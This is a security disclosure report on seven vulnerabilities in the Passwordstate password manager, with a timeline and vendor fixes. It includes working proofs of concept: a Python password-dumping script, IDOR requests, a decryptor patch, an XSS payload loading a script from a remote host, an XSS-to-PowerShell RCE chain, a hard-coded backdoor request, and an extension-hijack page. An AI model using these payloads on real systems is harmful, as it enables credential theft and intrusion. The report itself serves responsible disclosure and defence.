Passwordstate

SECURITY DISCLOSURE REPORT

Click Studios

Version	**1.0.1**	Secrecy	**Public**
ID	**R-202212022-1**	Date	**2022-12-19**

Versioning

Version	Date	Author	Comment
0.1	2022-08-18	modzero	Initial document
0.2	2022-10-12	modzero	Document revision
0.3	2022-11-07	modzero	Document revision
0.4	2022-11-22	modzero	Document revision
1.0	2022-12-19	modzero	Public release
1.0.1	2022-12-19	modzero	Document revision

Disclosure Timeline

Date	Comment
2022-08-19	Sent document draft as well as information about the modzero disclosure policy to support@clickstudios.com.au and sales@clickstudios.com.au, security@clickstudios.com.au bounced.
2022-08-22	Click Studios confirmed they received the disclosure report, and their analysis team will attempt to replicate the vulnerabilities.
2022-08-24	Click Studios updated modzero that they plan to fix the reported vulnerabilities in their next build except for finding 2.3 and they are discussing internally whether the finding will be addressed.
2022-09-05	Click Studios notified modzero that all findings except 2.3 are mitigated in build *9611*.
2022-09-24	Click Studios informed modzero that finding 2.3 will not be fixed.
2022-10-07	Sent information that the mitigation for finding 2.4 is not implemented correctly.
2022-11-07	Click Studios notified modzero that the finding was mitigated properly in build *9653* and thanked modzero for reporting the vulnerabilities.
2022-12-19	Report released publicly.

Credits

The work contained in this report was conducted over an extended period by the modzero team consisting of:

- *Constantin Müller*
- *Jan Benninger*
- *Pascal Zenker*

Contents

1 Summary

modzero identified critical vulnerabilities in the password management solution *Passwordstate* by *Click Studios*.

Exploiting the identified vulnerabilities allows an unauthenticated attacker to exfiltrate passwords from an instance, overwrite all stored passwords within the database, or elevate their privileges within the application. Some of the individual vulnerabilities can be chained to gain a shell on the Passwordstate host system and dump all stored passwords in cleartext, starting with only a valid username.

Click Studios states that all vulnerabilities are fixed since *Passwordstate 9.6 - Build 9653*.

Products that are known to be affected:

- Passwordstate 9.5 - Build 9583 and earlier
- Passwordstate Browser Extension Chrome - Version 9.5.8.4

Please note that other versions, which were not inspected by modzero, might also be affected.

2 Findings

2.1 Authentication Bypass for API

Class	**CWE-302: Authentication Bypass by Assumed-Immutable Data**
CVSS Rating	🟥 **9.1 CRITICAL** *CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N*
Component	**API**
CVE-ID	**CVE-2022-3875**

Summary

An unauthenticated attacker can bypass the authentication for Passwordstate's API by modifying the assumed-immutable API token. Once an attacker knows a user’s username, they can access this user's website passwords, OTPs, password lists, and other secrets.

Requirements

The attacker does not need to be authenticated to exploit this vulnerability and needs to either guess or know a valid username.

Details

Passwordstate has different APIs with different authentication schemes. One of the authentication schemes will evaluate the legitimacy of the corresponding API tokens by performing three steps. First, the API token will be XOR decrypted with a fixed value. The resulting string is split with the delimiter ";" and lastly the first field is verified to be a valid user in the database. If the user is valid the API will consider the requests authorized with this user's permissions. The XOR value is shared between all Passwordstate instances.

An attacker can craft an API token for authentication and authorization for all parts of the Passwordstate API that use this authentication scheme. It allows them to access a user's saved website passwords, OTPs, password lists, and other private data through the BrowserExtension API. Due to the missing end-to-end encryption of passwords, this attack retrieves the passwords in cleartext. The BrowserExtension API of Passwordstate is used to connect the browser extension to the web application. The API is activated in the default configuration and cannot be deactivated, even if the usage of the browser extension is deactivated in the Passwordstate settings.

The following code takes the URL of the Passwordstate instance and a valid username as arguments and dumps all stored website passwords of the user:

```
#!/usr/bin/python3
import requests
import sys

if len(sys.argv) != 3:
    exit(f"Usage: ./{sys.argv[0]} URL USERNAME")

url = sys.argv[1]
user = sys.argv[2]

data_in = user + ";;;"
auth_key = ""
xor_key = "REDACTED"
for i in range(0,len(data_in)):
    a = ord(data_in[i:i+1])
    b = ord(xor_key[(i+1) % len(xor_key)])
    auth_key += "{:02x}".format(a ^ b).upper()

print(f"[+] Generated auth_key for user {user}: {auth_key}")

cookies = {"session-id": auth_key}
data = {"auth_key": auth_key}
response = requests.post(url + "/api/browserextension/getwebsites/", cookies=cookies,
data=data, verify=False)
website_list = response.json()
if response.status_code == 200:
    print(f"[+] Found {len(website_list)} passwords")
    for item in website_list:
        data["PasswordID"] = item["PasswordID"]
        response = requests.post(url + "/api/browserextension/getpassword/",
cookies=cookies, data=data, verify=False)
        item["Password"] = response.json()[0]["Password"]
        print(item)
else:
    print("[-] Could not access API")
```

Listing 1 - Proof of Concept to Dump Passwords for a User

2.2 Authorization Bypass Through User-Controlled Keys

Class	**CWE-639: Authorization Bypass Through User-Controlled Key**
CVSS Rating	🟧 **6.5 MEDIUM** *CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N*
Component	**API**
CVE-ID	**CVE-2022-3876**

Summary

An authenticated attacker can bypass access controls of Passwordstate through user-controlled keys. The authorization bypass allows to modify all passwords in the Passwordstate database and to store passwords in any user's (private) password lists.

Requirements

An attacker needs to be authenticated to exploit this vulnerability.

Details

Insecure Direct Object References (IDORs) in the BrowserExtension API allow an authenticated attacker to overwrite password entries of other users and add new passwords to any password list without authorization.

For this, the attacker needs to know the PasswordID or respective the PasswordListID. These are identified by numeric values and an attacker can simply incrementally enumerate the IDs. By enumerating all IDs, it is possible to completely override all passwords in the database.

The following request allows to override other users' passwords by modifying the PasswordID parameter:

```
POST /api/browserextension/UpdatePassword/ HTTP/1.1
Host: XXX
Cookie: session-id=XXX
Content-Length: 57
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

auth_key=XXX&Password=overwritten&PasswordID=1&PassswordListID=
```

Listing 2 - Request to Overwrite Password with ID 1

The following request allows to add a password to another user's password list:

```
POST /api/browserextension/addpassword/ HTTP/2
Host: XXX
Cookie: session-id=44425C4B0A0A02
Content-Length: 178
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

auth_key=44425C4B0A0A02&PasswordList=x&PasswordListID=1&Title=Fake&UserName=username&Description=please+open+me&URL=javascript%3aalert('mod')//&Password=password&WebsiteFavicon=x
```

Listing 3 - Request to Store Password in Password List with ID 1

2.3 Failed Protection for Stored Passwords due to Server-Side Symmetric Encryption

Class	**CWE-693: Protection Mechanism Failure**
CVSS Rating	🟧 **6.0 MEDIUM** *CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N*
Component	**Password Storage**

Summary

The protection mechanism for stored passwords in Passwordstate fails, as the software performs server-side AES encryption instead of end-to-end encryption. An attacker with local access to the software can extract the symmetric key and retrieve the passwords in cleartext.

Requirements

The attacker needs access to the Passwordstate instance host.

Details

The protection mechanism for passwords stored by the software is insufficient. The passwords are not end-to-end encrypted but stored in the database with server-side AES-256 encryption. An attacker with access to the Passwordstate host itself, can extract the encryption key and decrypt all passwords stored in the instance. The attack was formerly demonstrated by *Northwave Security*[1] but mitigated in version 8903. The mitigation though does not address the root cause of missing end-to-end encryption and only relies on security by obscurity. It is still possible for an attacker to extract the cleartext passwords by reverse engineering the mitigation and slightly modifying *Northwave Security*'s proof of concept.

The following patch can be applied to the original PoC. With the patched tool an attacker can dump all passwords from the Passwordstate instance's host:

```
From b18f4ddeee0ebbed5bd9a818c00567594841260e Mon Sep 17 00:00:00 2001
From: mod0
Date: Fri, 12 Aug 2022 14:05:41 +0200
Subject: [PATCH] fixed poc for version 8903 and above

```

[1] Northwave Red Team, Passwordstate decryptor, https://github.com/NorthwaveSecurity/passwordstate-decryptor/ [2022-08-18]

```
---
 PasswordStateDecryptor.ps1 | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/PasswordStateDecryptor.ps1 b/PasswordStateDecryptor.ps1
index f6e371a..099216b 100644
--- a/PasswordStateDecryptor.ps1
+++ b/PasswordStateDecryptor.ps1
@@ -140,7 +140,11 @@ function Invoke-PasswordStateDecryptor {

             # Combine secrets and return recovered Text String
             $EncryptionKey =
[Moserware.Security.Cryptography.SecretCombiner]::Combine($Secret1 + "`n" +
$Secret3).RecoveredTextString
-            Write-Host -ForegroundColor Green "Recovered Encryption Key:
$EncryptionKey!"
+
+            # For versions >= 8903
+            $EncryptionKey = $EncryptionKey[-1..-$EncryptionKey.Length ] -join ""
+
+            Write-Host -ForegroundColor Green "Recovered Encryption Key:
$EncryptionKey"
         }

         $RawEncryptionKey = Convert-HexStringToByteArray $EncryptionKey
--
2.34.1
```

Listing 4 – Patch for Existing Proof of Concept

2.4 Stored Cross-Site Scripting (XSS)

Class	**CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-Site Scripting')**
CVSS Rating	🟧 **5.7 MEDIUM** *CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N*
Component	**Web Application**
CVE-ID	**CVE-2022-3877**

Summary

Improper neutralization of input leads to an authenticated stored Cross-Site Scripting (XSS) in the URL field of password entries that triggers when a user opens the password's website. An attacker can use the XSS to read passwords or elevate their privileges. Exploiting an administrator account allows for Remote Code Execution (RCE).

Requirements

An attacker needs to be authenticated to exploit this vulnerability.

Details

In Passwordstate every password entry can contain an associated URL. A click in the web application on the password entries' globe icon opens the URL. Password lists and entries can be shared with other users, allowing one user to open the URLs another user has saved. Before opening the URL, the software checks if the substring "//" can be found in the URL otherwise "https://" is prefixed to it.

The software does not validate the content of the URL field of the passwords properly during saving. Therefore, an attacker can inject JavaScript code into the field with the use of the JavaScript protocol handler resulting in a stored XSS. To satisfy the client-side validation the string "//" needs to be appended to any payload e.g.:

```
javascript:alert('mod0')//
```

The character count in the URL field is limited but it can be bypassed by adding a remote script file. Afterward any URL can be opened to cover the exploit attempt:

```
javascript:d=window.opener.document;e=d.createElement("script");e.setAttribute("src","
https://REMOTE_HOST/xss-
rce.js");d.body.appendChild(e);window.location.replace("https://example.com")//
```

Listing 5 - Stored XSS payload

As the executed JavaScript has access to the password manager's DOM and session, an attacker can access secrets of the exploited user or perform any action they could perform.

This is particularly critical when an administrator gets exploited because administrators can execute PowerShell scripts on the host system via the web-interface. This allows the elevation from XSS to RCE:

```
fetch('/admin/powershellscripts/discovery/testscript.aspx?ScriptID=1')
.then((resp) => resp.text())
.then(function (data) {
        var doc = new DOMParser().parseFromString(data, "text/html");
        var form = doc.querySelectorAll("form")[0];
        var input = document.createElement("input");
        input.setAttribute('name', '__ASYNCPOST');
        input.setAttribute('value', 'true');
        form.append(input);
        form.__EVENTTARGET.value='RunScriptButton';
        var input3 = document.createElement("input");
        input3.setAttribute('name', 'RadScriptManager1');
        input3.setAttribute('value', 'RunScriptButtonPanel|RunScriptButton');
        form.append(input3);
        form.HiddenScript.value="POWERSHELL_COMMANDS"
        fetch("/admin/powershellscripts/discovery/testscript.aspx?ScriptID=1",{
method: "POST", body: new URLSearchParams(new FormData(form)) })
})
```

Listing 6 - Proof of concept for RCE via XSS

2.5 Use of Hard-coded Emergency Credentials for API

Class	**CWE-798: Use of Hard-coded Credentials**
CVSS Rating	🟧 **5.3 MEDIUM** *CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N*
Component	**API**

Summary

An unauthenticated attacker can use hard-coded credentials to retrieve audited events of a Passwordstate instance through its API.

Requirements

There are no requirements for this attack.

Details

The *webcharts* API allows administrators to list audited events in Passwordstate. These include events such as password requests or approvals, data exports, changes to user accounts, the number of enrolled users, and others. The API is access-restricted through the usage of API keys, but a hard-coded backdoor access can be used without authentication. Once the URL includes the string *Passwordstate_EmergencyAccess* at the end, the access is granted without authorization. A sample request to list all audited events in the last 36 months can be seen below:

```
GET
/api/webcharts/auditingchart/Passwordstate_EmergencyAccess?platform=All%20Platforms&ActivityType=Discovery%20Job%20Permissions%20Removed&Duration=36&SiteID=&ArchivedData=1
HTTP/1.1
Host: XXX
```

Listing 7 - Request Bypassing Access Restrictions

2.6 Insufficiently Protected Credentials for Password Lists

Class	**CWE-522: Insufficiently Protected Credentials**
CVSS Rating	🟧 **4.3 MEDIUM** *CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N*
Component	**Web Application**

Summary

Passwords for password secured lists in Passwordstate are insufficiently protected. An authenticated attacker can retrieve them from fields of the list's template without authorization.

Requirements

An attacker needs to be authenticated to exploit this vulnerability.

Details

If a user wants to protect a password list with a password, they need to create a template. The template defines different settings and allows to add additional password protection. Afterward, a protected password list can be created by choosing the selected template in the creation process. The password is transferred from the template to the created list. In default settings, users can view all existing templates but are not able to edit them without the right permissions.

The software fails to sufficiently protect the credentials of the protected password list as the password used in the template is included in the HTML source code on the template's details page and can be viewed by inspecting the element in a browser.

```
<input name="Password" type="password" maxlength="100" id="Password"
disabled="disabled" class="aspNetDisabled" autocomplete="new-password"
value="secretpasswordlistpassword" style="width:300px;">
```

Listing 8 - HTML Excerpt Containing Template Password

2.7 Improper Authorization Allows Attacker-Controlled Browser Extension Provisioning

Class	**CWE-285: Improper Authorization**
CVSS Rating	🟦 **3.7 LOW** *CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N*
Component	**Browser Extension**

Summary

An improper authorization flow allows malicious websites to provision a Passwordstate browser extension without user interaction if the extension was not connected to another Passwordstate instance before. Subsequently, all passwords are sent to the attacker.

Requirements

To exploit this vulnerability, a victim needs to visit a specifically prepared page of the attacker with an unprovisioned extension.

Details

The Passwordstate browser extension is unprovisioned after installation. It can be provisioned by visiting a Passwordstate web instance, authenticating and confirming the connection between the extension and this specific instance.

The extension identifies a Passwordstate instance by detecting a specific DOM element with the ID *PasswordstateBrowserExtensionURL*. The confirmation dialogue is then opened through the extension's *Content Script*.

An attacker can exploit this behavior, as *Content Scripts* are not isolated from the website they are injected into. The attacker must include the defined DOM element in their malicious page. Because the confirmation dialogue opens through the *Content Script*, the website has access to the newly created DOM elements. The website can subsequently confirm the dialogue in JavaScript code without user interaction, thereby provisioning the extension.

The extension can be set up with an attacker controlled Passwordstate instance, which will from then on receive all newly saved passwords. As the passwords in Passwordstate can be accessed by an administrator in cleartext, the attacker can extract the newly created passwords.

If the following code is inserted in a website and points to an attacker controlled Passwordstate instance, it can then provision a Passwordstate instance without user interaction. The TOKEN-link can be extracted from the attacker's Passwordstate instance HTML source code.

```
<input name="PasswordstateBrowserExtensionURL" type="text"
value="http://ATTACKER_CONTROLLED_WEBSITE/TOKEN" id="PasswordstateBrowserExtensionURL"
style="display: none;">
<script>
const myTimeout = setTimeout(myConfirm, 1000);
function myConfirm() {
    document.getElementById("confirm_auth").click()
}
</script>
```

Listing 9 - Proof of Concept Browser Provisioning